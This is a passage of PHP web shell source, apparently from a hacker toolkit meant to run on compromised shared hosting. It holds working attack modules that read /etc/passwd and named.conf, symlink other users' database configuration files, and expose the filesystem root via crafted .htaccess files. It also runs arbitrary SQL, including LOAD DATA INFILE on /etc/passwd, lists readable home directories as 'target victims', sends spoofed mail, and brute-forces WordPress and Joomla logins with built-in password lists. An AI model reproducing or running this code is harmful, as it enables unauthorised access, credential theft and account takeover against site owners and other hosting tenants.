3112$rs="/homez.64/".$us."/www/".$c;
3113$rs="/homez.65/".$us."/www/".$c;
3114$rs="/homez.66/".$us."/www/".$c;
3115$rs="/homez.67/".$us."/www/".$c;
3116$rs="/homez.68/".$us."/www/".$c;
3117$rs="/homez.69/".$us."/www/".$c;
3118$rs="/homez.70/".$us."/www/".$c;
3119$rs="/homez.71/".$us."/www/".$c;
3120$rs="/homez.72/".$us."/www/".$c;
3121$rs="/homez.73/".$us."/www/".$c;
3122$rs="/homez.74/".$us."/www/".$c;
3123$rs="/homez.75/".$us."/www/".$c;
3124$rs="/homez.76/".$us."/www/".$c;
3125$rs="/homez.77/".$us."/www/".$c;
3126$rs="/homez.78/".$us."/www/".$c;
3127$rs="/homez.79/".$us."/www/".$c;
3128$rs="/homez.80/".$us."/www/".$c;
3129$rs="/homez.81/".$us."/www/".$c;
3130$rs="/homez.82/".$us."/www/".$c;
3131$rs="/homez.83/".$us."/www/".$c;
3132$rs="/homez.84/".$us."/www/".$c;
3133$rs="/homez.85/".$us."/www/".$c;
3134$rs="/homez.86/".$us."/www/".$c;
3135$rs="/homez.87/".$us."/www/".$c;
3136$rs="/homez.88/".$us."/www/".$c;
3137$rs="/homez.89/".$us."/www/".$c;
3138$rs="/homez.100/".$us."/www/".$c;
3139$rs="/homez.101/".$us."/www/".$c;
3140$rs="/homez.102/".$us."/www/".$c;
3141$rs="/homez.103/".$us."/www/".$c;
3142$rs="/homez.104/".$us."/www/".$c;
3143$rs="/homez.105/".$us."/www/".$c;
3144$rs="/homez.106/".$us."/www/".$c;
3145$rs="/homez.107/".$us."/www/".$c;
3146$rs="/homez.108/".$us."/www/".$c;
3147$rs="/homez.109/".$us."/www/".$c;
3148$rs="/homez.110/".$us."/www/".$c;
3149$rs="/homez.111/".$us."/www/".$c;
3150$rs="/homez.112/".$us."/www/".$c;
3151$rs="/homez.113/".$us."/www/".$c;
3152$rs="/homez.114/".$us."/www/".$c;
3153$rs="/homez.115/".$us."/www/".$c;
3154$rs="/homez.116/".$us."/www/".$c;
3155$rs="/homez.117/".$us."/www/".$c;
3156$rs="/homez.118/".$us."/www/".$c;
3157$rs="/homez.119/".$us."/www/".$c;
3158$rs="/homez.120/".$us."/www/".$c;
3159$rs="/homez.121/".$us."/www/".$c;
3160$rs="/homez.122/".$us."/www/".$c;
3161$rs="/homez.123/".$us."/www/".$c;
3162$rs="/homez.124/".$us."/www/".$c;
3163$rs="/homez.125/".$us."/www/".$c;
3164$rs="/homez.126/".$us."/www/".$c;
3165$rs="/homez.127/".$us."/www/".$c;
3166$rs="/homez.128/".$us."/www/".$c;
3167$rs="/homez.129/".$us."/www/".$c;
3168$rs="/homez.130/".$us."/www/".$c;
3169$r="OVH/".$us."~".$c; symlink($rs,$r);
3170}
3171}
3172}
3173?>
3174
3175<?php }
3176// x=litespeed
3177elseif(isset($_GET['x']) && ($_GET['x'] == 'litespeed')){
3178// symlink litespeed-nginx + config killer
3179?>
3180<form action="?dm=<?php echo $pwd; ?>&x=litespeed" method="post">
3181<?php
3182$head = '
3183<html>
3184<head>
3185</script>
3186<title>LITESPEED - APACHE</title>
3187<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
3188<script language=\'javascript\'>
3189function hide_div(id)
3190{
3191 document.getElementById(id).style.display = \'none\';
3192 document.cookie=id+\'=0;\';
3193}
3194function show_div(id)
3195{
3196 document.getElementById(id).style.display = \'block\';
3197 document.cookie=id+\'=1;\';
3198}
3199function change_divst(id)
3200{
3201if (document.getElementById(id).style.display == \'none\')
3202show_div(id);
3203else
3204hide_div(id);
3205}
3206</script>'; ?>
3207<html>
3208<head>
3209<?php echo $head; ?>
3210<body bgcolor=black><center><br/><br/> <img src="http://www.ftt.co.uk/images/nginx.png"><br/><img src="http://www.litespeedtech.com/images/litespeed/Subpage_misc/LSWS_logo.png">
3211<form method=post><br/><br/>
3212<nobr><b><span class='b7'>O=:[ LITESPEED - NGINX</span> <span class='b8'>TOOLS ]:=O</span></b></nobr><br/><br/>
3213<p><input type=submit style=color:#FF0000;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>
3214
3215<?php
3216if(isset($_POST['usre'])){
3217?>
3218<form method=post>
3219<textarea rows=20 style=color:#FF0000;background-color:#000000 cols=60 name=user><?php $users=file("/etc/passwd");
3220foreach($users as $user)
3221{
3222$str=explode(":",$user);
3223echo $str[0]."\n";
3224}
3225
3226?></textarea><br><br>
3227<input type=submit style=color:#FF0000;background-color:#000000 name=su value="EXECUTE" /></form><br/>
3228<?php } ?>
3229
3230<?php
3231error_reporting(0);
3232if(isset($_POST['su'])){
3233mkdir('litespeed',0777);
3234$rr = "Options +FollowSymlinks \r
3235Options +IncludesNoExec -ExecCGI \r
3236DirectoryIndex index.html index.shtml index.htm index.php \r
3237RemoveHandler .php \r
3238AddType text/html .shtml \r
3239AddType application/octet-stream .php \r
3240AddHandler server-parsed .shtml";
3241$g = fopen('litespeed/.htaccess','w');
3242fwrite($g,$rr);
3243$dm = symlink("/","litespeed/dm.shtml");
3244$rt="<a href=litespeed/dm.shtml><b><span class='b11'>[ SYMLINK ]</span></b></a>";
3245echo "<nobr>[~] ";
3246echo "$rt";
3247
3248$dir=mkdir('LITESPEED',0777);
3249$r = "Options +FollowSymlinks \r
3250Options +IncludesNoExec -ExecCGI \r
3251DirectoryIndex index.html index.shtml index.htm index.php \r
3252RemoveHandler .php \r
3253AddType text/html .shtml \r
3254AddType application/octet-stream .php \r
3255 AddHandler server-parsed .shtml";
3256$f = fopen('LITESPEED/.htaccess','w');
3257fwrite($f,$r);
3258$consym="<a href=LITESPEED/><b><span class='b11'>[ CONFIG KILLER ]</span></b> </a>";
3259echo " [~] ";
3260echo "$consym";
3261echo " [~]</nobr>";
3262
3263$usr=explode("\n",$_POST['user']);
3264$configuration=array(
3265"aksi.php",
3266"aksi.php.old",
3267"aksi.php.bak",
3268"conf.php",
3269"conf.php.old",
3270"conf.php.bak",
3271"conf_global.php",
3272"conf_global.php.old",
3273"conf_global.php.bak",
3274"config.php",
3275"config.php.old",
3276"config.php.bak",
3277"configuration.php",
3278"configuration.php.old",
3279"configuration.php.bak",
3280"conn.php",
3281"conn.php.old",
3282"conn.php.bak",
3283"connect.php",
3284"connect.php.old",
3285"connect.php.bak",
3286"connection.php",
3287"connection.php.old",
3288"connection.php.bak",
3289"db.php",
3290"db.php.old",
3291"db.php.bak",
3292"database.php",
3293"database.php.old",
3294"database.php.bak",
3295"inc.php",
3296"inc.php.old",
3297"inc.php.bak",
3298"koneksi.php",
3299"koneksi.php.old",
3300"koneksi.php.bak",
3301"mysql.php",
3302"myqsl.php.old",
3303"mysql.php.bak",
3304"setting.php",
3305"setting.php.old",
3306"setting.php.bak",
3307"Settings.php",
3308"Settings.php.old",
3309"Settings.php.bak",
3310"sql.php",
3311"sql.php.old",
3312"sql.php.bak");
3313foreach($usr as $uss ){
3314$us=trim($uss);
3315foreach($configuration as $c){
3316$rs="/home/".$us."/public_html/".$c;
3317$r="LITESPEED/".$us."~".$c;
3318symlink($rs,$r);
3319}
3320}
3321}
3322?>
3323
3324
3325 <?php }
3326// x=mysql1
3327elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql1')) {
3328
3329if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport'])) {
3330$sqlhost = $_GET['sqlhost'];
3331$sqluser = $_GET['sqluser'];
3332$sqlpass = $_GET['sqlpass'];
3333$sqlport = $_GET['sqlport'];
3334if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass)){
3335$msg .= "<div style=\"width:99%;padding:4px 10px 0 10px;\">";
3336$msg .= "<p>Connected to ".$sqluser."<span class=\"gaya\">@</span>".$sqlhost.":".$sqlport;
3337$msg .= " <span class=\"gaya\">-></span> <a href=\"?dm=".$pwd."&x=mysql&
3338
3339sqlhost=".$sqlhost."&sqluser=".$sqluser."&
3340sqlpass=".$sqlpass."&
3341sqlport=".$sqlport."&\">[ databases ]</a>";
3342 if(isset($_GET['db']))
3343$msg .= " <span class=\"gaya\">-></span>
3344 <a href=\"dm=".$pwd."&x=mysql&
3345sqlhost=".$sqlhost."&sqluser=".$sqluser."&
3346sqlpass=".$sqlpass."&
3347sqlport=".$sqlport."&
3348db=".$_GET['db']."\">".htmlspecialchars($_GET['db'])."</a>";
3349 if(isset($_GET['table']))
3350$msg .= " <span class=\"gaya\">-></span> <a href=\"dm=".$pwd."&x=mysql&
3351sqlhost=".$sqlhost."&sqluser=".$sqluser."&
3352sqlpass=".$sqlpass."&sqlport=".$sqlport."&
3353db=".$_GET['db']."&
3354table=".$_GET['table']."\">".htmlspecialchars($_GET['table'])."</a>";
3355$msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";
3356$msg .= "</div>";
3357echo $msg;
3358 if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery']))){
3359$db = $_GET['db'];
3360$query = "DROP TABLE IF EXISTS dm0_table; \nCREATE TABLE `dm0_table` ( `file` LONGBLOB NOT NULL ); \nLOAD DATA INFILE \"/etc/passwd\"\nINTO TABLE Z3r0Z3r0_table;SELECT * FROM dm0_table; \nDROP TABLE IF EXISTS dm_table;";
3361
3362$msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\"><input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
3363 <input type=\"hidden\" name=\"x\" value=\"mysql\" />
3364<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
3365<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
3366<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
3367<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
3368<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
3369<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">$query</textarea></p>
3370 <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
3371 </form>
3372 </div> ";
3373 $tables = array();
3374 $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available tables on ".$db."</th></tr>";
3375$hasil = @mysql_list_tables($db,$con);
3376while(list($table) = @mysql_fetch_row($hasil)){
3377@array_push($tables,$table);
3378}
3379@sort($tables);
3380foreach($tables as $table){
3381$msg .= "<tr><td><a href=\"?dm=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."&table=".$table."\">$table</a></td></tr>";
3382 }
3383 $msg .= "</table>";
3384 }
3385 elseif(isset($_GET['table']) && (!isset($_GET['sqlquery'])))
3386 {
3387 $db = $_GET['db'];
3388 $table = $_GET['table'];
3389 $query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";
3390 $msgq = "<div style=\"width:99%;padding:0 10px;\">
3391<form action=\"?\" method=\"get\">
3392<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
3393<input type=\"hidden\" name=\"x\" value=\"mysql\" />
3394<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
3395<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
3396<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
3397<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
3398<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
3399<input type=\"hidden\" name=\"table\" value=\"".$table."\" />
3400 <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
3401<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
3402</form></div> ";
3403
3404$columns = array();
3405$msg = "<table class=\"explore\" style=\"width:99%;\">";
3406$hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);
3407while(list($column) = @mysql_fetch_row($hasil)){
3408$msg .= "<th>$column</th>"; $kolum = $column;
3409}
3410$msg .= "</tr>";
3411$hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
3412list($total) = mysql_fetch_row($hasil);
3413
3414if(isset($_GET['z'])) $page = (int) $_GET['z'];
3415else $page = 1;
3416$pagenum = 100;
3417$totpage = ceil($total / $pagenum);
3418$start = (($page - 1) * $pagenum);
3419$hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
3420while($datas = @mysql_fetch_assoc($hasil)){
3421$msg .= "<tr>";
3422foreach($datas as $data){ if(trim($data) == "") $data = " "; $msg .= "<td>$data</td>"; }
3423$msg .= "</tr>";
3424}
3425$msg .= "</table>";
3426$head = "<div style=\"padding:10px 0 0 6px;\"><form action=\"?\" method=\"get\">
3427<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
3428<input type=\"hidden\" name=\"x\" value=\"mysql\" />
3429<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
3430<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
3431<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
3432<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
3433<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
3434<input type=\"hidden\" name=\"table\" value=\"".$table."\" />
3435Page <select class=\"inputz\" name=\"z\" onchange=\"this.form.submit();\">";
3436for($i = 1;$i <= $totpage;$i++){
3437$head .= "<option value=\"".$i."\">".$i."</option>";
3438if($i == $_GET['z']) $head .= "<option value=\"".$i."\" selected=\"selected\">".$i."</option>";
3439}
3440$head .= "</select><noscript><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" /></noscript></form></div>";
3441$msg = $msgq.$head.$msg;
3442}
3443 elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != "")){
3444$db = $_GET['db'];
3445$query = magicboom($_GET['sqlquery']);
3446$msg = "<div style=\"width:99%;padding:0 10px;\"><form action=\"?\" method=\"get\">
3447<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
3448<input type=\"hidden\" name=\"x\" value=\"mysql\" />
3449<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
3450<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
3451<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
3452<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
3453<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
3454<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
3455<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p></form></div> ";
3456 @mysql_select_db($db);
3457$querys = explode(";",$query); foreach($querys as $query){
3458if(trim($query) != ""){
3459$hasil = mysql_query($query);
3460
3461if($hasil){
3462$msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";
3463<span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>";
3464$msg .= "<table class=\"explore\" style=\"width:99%;\"><tr>";
3465 for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";
3466$msg .= "</tr>";
3467 for($i=0;$i<@mysql_num_rows($hasil);$i++) {
3468$rows=@mysql_fetch_array($hasil);
3469$msg .= "<tr>";
3470for($j=0;$j<@mysql_num_fields($hasil);$j++) {
3471 if($rows[$j] == "") $dataz = " ";
3472else $dataz = $rows[$j];
3473$msg .= "<td>".$dataz."</td>";
3474}
3475$msg .= "</tr>";
3476}
3477$msg .= "</table>";
3478}
3479else
3480$msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query."; <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
3481}
3482}
3483}
3484else {
3485$query = "SHOW PROCESSLIST;\n SHOW VARIABLES;\n SHOW STATUS;";
3486$msg = "<div style=\"width:99%;padding:0 10px;\">
3487<form action=\"?\" method=\"get\">
3488<input type=\"hidden\" name=\"dm\" value=\"".$pwd."\" />
3489<input type=\"hidden\" name=\"x\" value=\"mysql\" />
3490<input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
3491<input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
3492<input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
3493<input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
3494<input type=\"hidden\" name=\"db\" value=\"".$db."\" />
3495<p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
3496<p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
3497</form></div> ";
3498
3499$dbs = array();
3500$msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available databases</th></tr>";
3501$hasil = @mysql_list_dbs($con);
3502while(list($db) = @mysql_fetch_row($hasil)){ @array_push($dbs,$db); }
3503@sort($dbs);
3504foreach($dbs as $db){
3505$msg .= "<tr><td><a href=\"?dm=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."\">$db</a></td></tr>";
3506}
3507$msg .= "</table>";
3508}
3509@mysql_close($con);
3510}
3511else $msg = "<p style=\"text-align:center;\">cant connect to mysql server</p>";
3512echo $msg;
3513}
3514else{
3515?>
3516<form action="?" method="get">
3517<input type="hidden" name="dm" value="<?php echo $pwd; ?>" />
3518<input type="hidden" name="x" value="mysql" />
3519<table class="tabnet" style="width:300px;">
3520<tr>
3521<th colspan="2">Connect to mySQL server</th>
3522</tr>
3523<tr>
3524<td> Host</td>
3525<td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td></tr>
3526<tr>
3527<td> Username</td>
3528<td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td></tr>
3529<tr>
3530<td> Password</td>
3531<td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td></tr>
3532<tr>
3533<td> Port</td>
3534<td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" /> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td>
3535</tr></table></form>
3536
3537<?php } }
3538elseif(isset($_GET['x']) && ($_GET['x'] == 'mail')) {
3539if(isset($_POST['mail_send'])) {
3540$mail_to = $_POST['mail_to'];
3541$mail_from = $_POST['mail_from'];
3542$mail_subject = $_POST['mail_subject'];
3543$mail_content = magicboom($_POST['mail_content']); if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from"))
3544{ $msg = "email sent to $mail_to"; }
3545else $msg = "send email failed";
3546}
3547?>
3548<form action="?y=<?php echo $pwd; ?>&x=mail" method="post">
3549<table class="cmdbox"> <tr>
3550<td><textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey admin, please patch your site :)</textarea></td></tr>
3551<tr>
3552<td> <input class="inputz" style="width:20%;" type="text" value="admin@somesome.com" name="mail_to" /> mail to</td></tr>
3553<tr><td> <input class="inputz" style="width:20%;" type="text" value="gue@ganteng.com" name="mail_from" /> from</td></tr>
3554<tr><td> <input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" /> subject</td></tr>
3555<tr><td> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr>
3556<tr><td> <?php echo $msg; ?>
3557</td></tr>
3558</table> </form>
3559
3560
3561<?php }
3562#x=jumping
3563elseif(isset($_GET['x']) && ($_GET['x'] == 'jumping')) { ?>
3564
3565<form action="?dm=<?php echo $pwd; ?>&x=jumping" method="post">
3566
3567<?php
3568($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<center><br/><br/><nobr><span class=b9>SAFE MODE ON</span></nobr><br/><br/></center> ');
3569set_time_limit(0);
3570@$passwd = fopen('/etc/passwd-','r');
3571if (!$passwd) {
3572die('<center><br/><br/><nobr><span class=b9>READ ETC/PASSWD- NOT AVAILABLE</span></nobr><br/><br/></center>');
3573}
3574$pub = array();
3575$users = array();
3576$conf = array();
3577$i = 0;
3578while(!feof($passwd)) {
3579$str = fgets($passwd);
3580if ($i > 10) {
3581$pos = strpos($str,':');
3582$username = substr($str,0,$pos);
3583$dirz = '/home/'.$username.'/public_html/';
3584if (($username != '')) {
3585if (is_readable($dirz)) {
3586array_push($users,$username);
3587array_push($pub,$dirz);
3588}
3589}
3590}
3591$i++;
3592}
3593echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ READABLE</span> <span class='b8'>PUBLIC_HTML ]:=O</span></b></nobr><br/><br/><table align='center' border='3' width='200' cellspacing='0' cellpadding='0'>
3594<tr><th><b>TOTAL : ".sizeof($pub)." TARGET VICTIM"."</th></tr>";
3595foreach ($users as $user) {
3596$path = "/home/$user/public_html/";
3597echo "<tr>";
3598echo "<td><a href='?dm=$path' target='_blank' style='font-weight:bold; color:#FFFFFF;'>$path</td>";
3599}
3600echo "</tr>";
3601echo "</table></center></body></html>";
3602}
3603
3604# x=domain
3605elseif(isset($_GET['x']) && ($_GET['x'] == 'domain')) { ?>
3606<form action="?dm=<?php echo $pwd; ?>&x=domain" method="post">
3607
3608<?php
3609echo '<br><br></center><br><br><div class=content>';
3610$file = @implode(@file("/etc/named.conf"));
3611if(!$file){ die("can't ReaD -> [ /etc/named.conf ");
3612}
3613preg_match_all("#named/(.*?).db#",$file ,$r);
3614$domains = array_unique($r[1]);
3615//check();
3616//if(isset($_GET['ShowAll']))
3617{
3618echo "<table align=center border=1 width=59% cellpadding=5>
3619<tr><td colspan=2>[+] ADA [ <b>".count($domains)."</b> ] DOMAIN</td></tr>
3620<tr><td>Domain</td><td>User</td></tr>";
3621foreach($domains as $domain){
3622$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
3623echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
3624}
3625echo "</table>";
3626}
3627echo '</div>';
3628}
3629
3630
3631# x=crypter
3632elseif(isset($_GET['x']) && ($_GET['x'] == 'crypter')) {
3633$submit= $_POST['enter'];
3634$pass = $_POST['password'];
3635
3636if(isset($submit)) {
3637$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN';
3638$hash = md5($pass);
3639$hash_md5 = md5($salt.$pass);
3640$hash_md5_double = md5(sha1($salt.$pass));
3641$hash1 = sha1($pass);
3642$hash1_sha1 = sha1($salt.$pass);
3643$hash1_sha1_double = sha1(md5($salt.$pass));
3644}
3645echo '<form action="" method="post"><b><table class=tabnet>';
3646echo '<tr><th colspan="2">Password Hash</th></center></tr>';
3647echo '<tr><td><b>Masukan Kata : </b></td>';
3648echo '<td><input class="inputz" type="text" name="password" size="40" />';
3649echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
3650echo '</td></tr><br>';
3651echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
3652echo '<tr><td>Original</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr><br><br>';
3653echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr><br><br>';
3654echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr><br><br>';
3655echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr><br><br>';
3656echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr><br><br>';
3657echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr><br><br>';
3658echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr><br><br></table>';
3659}
3660
3661
3662# x=wp1
3663elseif(isset($_GET['x']) && ($_GET['x'] == 'wp1')) { ?>
3664<form action="?dm=<?php echo $pwd; ?>&x=wp1" method="post">
3665
3666<center><br/><br/>
3667<form enctype="multipart/form-data" method="POST">
3668<table width='624' border='0' class='tabnet' id='Box'>
3669<tr><th colspan="5">Wordpress Brute Force</th></tr>
3670<tr><td > </td>
3671<td><p>Hosts:</p></td>
3672<td><p>Users:</p></td>
3673<td><p>Passwords:</p></td></tr>
3674<tr><td> </td>
3675<td ><textarea style="background:black;" name="hosts" cols="30" rows="10" ><?php if($_POST){echo $_POST['hosts'];} ?></textarea></td>
3676<td><textarea style="background:black;" name="usernames" cols="30" rows="10" ><?php if($_POST){echo $_POST['usernames'];}else {echo "admin";} ?></textarea></td>
3677<td ><textarea style="background:black;" name="passwords" cols="30" rows="10" >
3678
3679<?php if($_POST){echo$_POST['passwords'];}else {echo"admin\nadministrator\nadmin123\nqwerty\n123qwerty\nqwerty12345\n123admin\12345admin\nqwe123rty\n123123\n123321\n123456\n1234567\n12345678\n123456789\n123456123456\nadmin2010\nadmin2011\npassword\nP@ssW0rd\n!@#$%^\n!@#$%^&*(\n(*&^%$#@!\n111111\n222222\n333333\n444444\n555555\n666666\n777777\n888888\n999999";}?></textarea></td></tr>
3680<tr><td colspan="4"><input class='inputzbut' type="submit" name="submit" value="Brute Now" />
3681<?php
3682if($_POST){
3683$hosts = trim(filter($_POST['hosts']));
3684$passwords = trim(filter($_POST['passwords']));
3685$usernames = trim(filter($_POST['usernames']));
3686
3687if($passwords && $usernames && $hosts)
3688{
3689$hosts_explode = explode("\n", $hosts);
3690$usernames_explode = explode("\n", $usernames);
3691$passwords_explode = explode("\n", $passwords);
3692
3693foreach($hosts_explode as $host)
3694{
3695$host = RemoveLastSlash($host);
3696$hacked = 0;
3697$host = str_replace(array("http://","https://","www."),"",trim($host));
3698$host = "http://".$host;
3699$wpAdmin = $host.'/wp-admin/';
3700
3701if(!url_exists($host."/wp-login.php"))
3702{echo "<p>".$host." => <font color='red'>Error In Login Page !</font></p>";
3703ob_flush();
3704flush();
3705continue;
3706}
3707foreach($usernames_explode as $username)
3708{
3709foreach($passwords_explode as $password)
3710{
3711$ch = curl_init();
3712curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
3713curl_setopt($ch,CURLOPT_URL,$host.'/wp-login.php');
3714curl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt");
3715curl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt");
3716curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
3717curl_setopt($ch,CURLOPT_POST,TRUE);
3718curl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password."&wp-submit=Giri‏"."&redirect_to=".$wpAdmin."&testcookie=1");
3719$login =curl_exec($ch);
3720
3721if(eregi("profile.php",$login)) {
3722$hacked = 1;
3723echo "<p>".$host." => UserName : [<font color='green'>".$username."</font>] : Password : [<font color='green'>".$password."</font>]</p>";
3724ob_flush();
3725flush();
3726break;
3727}
3728}
3729if($hacked == 1){break;}
3730}
3731if($hacked == 0)
3732{echo "<p>".$host." => <font color='red'>Failed !</font></p>";ob_flush();flush();}
3733}
3734}
3735else {echo "<p><font color='red'>All fields are Required ! </font></p>";}
3736}
3737?>
3738</td></tr>
3739</table></form></center>
3740<?php
3741function url_exists($strURL) {
3742$resURL = curl_init();
3743curl_setopt($resURL, CURLOPT_URL, $strURL);
3744curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
3745curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
3746curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
3747curl_exec ($resURL);
3748
3749$intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
3750curl_close ($resURL);
3751
3752if ($intReturnCode != 200){return false;} else {return true ;}
3753}
3754function filter($string)
3755{
3756 if(get_magic_quotes_gpc() != 0){return stripslashes($string); }
3757 else{return $string; }
3758}
3759function RemoveLastSlash($host)
3760{
3761 if(strrpos($host, '/', -1) == strlen($host)-1)
3762 {return substr($host,0,strrpos($host, '/', -1));}
3763 else{return $host;}
3764}
3765echo "</p>";
3766}
3767
3768# x=jm1
3769elseif(isset($_GET['x']) && ($_GET['x'] == 'jm1')) { ?>
3770<form action="?dm=<?php echo $pwd; ?>&x=jm1" method="post">
3771<center><br /><br />
3772<form method="post" action="" enctype="multipart/form-data">
3773<table class="tabnet" width="38%" border="0"><center>
3774<th colspan="2">Joomla Brute Force</th>
3775<tr>
3776<td><p ><font class="d1">User :</font></th>
3777<input class="inputz" type='text' name="usr" value="admin" size="15"> </font></center><br /><br /></p>
3778</td></tr>
3779<tr><td><font class="">Sites list :</font>
3780</td><td><font class="" >Pass list :</font></td></tr>
3781<tr><td>
3782<textarea name="sites" style="background:black;" cols="40" rows="13" ></textarea>
3783</td><td>
3784<textarea name="w0rds" style="background:black;" cols="40" rows="13" >
3785admin
3786123qwe456rty
3787qwerty
3788fuck
3789administrator
3790passjomla
3791adminpass
3792123456
3793password
3794102030
3795123123
379612345
3797123456789
3798pass
3799test
3800admin123
3801demo
3802!@#$%^</textarea>
3803</td></tr><center><tr><td>
3804<font >
3805<input class="inputzbut" type="submit" name="x" value=" >> " id="d4">
3806</font></td></tr><br><br></center></table>
3807</form></center>
3808<?
3809@set_time_limit(0);
3810
3811if($_POST['x']){
3812echo "<hr>";
3813$sites = explode("\n",$_POST["sites"]);
3814$w0rds = explode("\n",$_POST["w0rds"]);
3815$Attack = new Joomla_brute_Force();
3816foreach($w0rds as $pwd){
3817foreach($sites as $site){
3818$Attack->check_it(txt_cln($site),$_POST['usr'],txt_cln($pwd));
3819flush();flush();
